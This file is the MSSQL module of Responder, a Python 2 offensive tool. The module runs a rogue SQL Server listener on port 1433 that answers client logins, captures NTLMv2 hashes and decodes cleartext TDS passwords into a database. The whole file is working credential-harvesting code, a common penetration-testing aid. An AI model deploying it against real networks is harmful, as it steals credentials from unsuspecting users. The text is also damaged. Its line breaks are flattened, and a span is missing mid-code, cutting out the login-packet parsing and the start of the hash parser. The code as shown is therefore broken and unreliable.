#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os import struct import core.responder.settings as settings import threading from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer from core.responder.packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from core.responder.utils import * class MSSQL: def start(self): try: if OsInterfaceIsSupported(): server = ThreadingTCPServer((settings.Config.Bind_To, 1433), MSSQLServer) else: server = ThreadingTCPServer(('', 1433), MSSQLServer) t = threading.Thread(name='MSSQL', target=server.serve_forever) t.setDaemon(True) t.start() except Exception as e: print "Error starting MSSQL server: {}".format(e) print_exc() class ThreadingTCPServer(ThreadingMixIn, TCPServer): allow_reuse_address = 1 def server_bind(self): if OsInterfaceIsSupported(): try: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') except: pass TCPServer.server_bind(self) class TDS_Login_Packet(): def __init__(self, data): ClientNameOff = struct.unpack(' 60: WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) SaveToDb({ 'module': 'MSSQL', 'type': 'NTLMv2', 'client': client, 'user': Domain+'\\'+User, 'hash': NTHash[:32]+":"+NTHash[32:], 'fullhash': WriteHash, }) def ParseSqlClearTxtPwd(Pwd): Pwd = map(ord,Pwd.replace('\xa5','')) Pw = [] for x in Pwd: Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex')) return ''.join(Pw) def ParseClearTextSQLPass(data, client): TDS = TDS_Login_Packet(data) SaveToDb({ 'module': 'MSSQL', 'type': 'Cleartext', 'client': client, 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), 'user': TDS.UserName, 'cleartext': ParseSqlClearTxtPwd(TDS.Password), 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), }) # MSSQL Server class class MSSQLServer(BaseRequestHandler): def handle(self): if settings.Config.Verbose: settings.Config.ResponderLogger.info("[MSSQL] Received connection from %s" % self.client_address[0]) try: while True: data = self.request.recv(1024) self.request.settimeout(0.1) # Pre-Login Message if data[0] == "\x12": Buffer = str(MSSQLPreLoginAnswer()) self.request.send(Buffer) data = self.request.recv(1024) # NegoSSP if data[0] == "\x10": if re.search("NTLMSSP",data): Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) Packet.calculate() Buffer = str(Packet) self.request.send(Buffer) data = self.request.recv(1024) else: ParseClearTextSQLPass(data,self.client_address[0]) # NegoSSP Auth if data[0] == "\x11": ParseSQLHash(data,self.client_address[0]) except socket.timeout: pass self.request.close()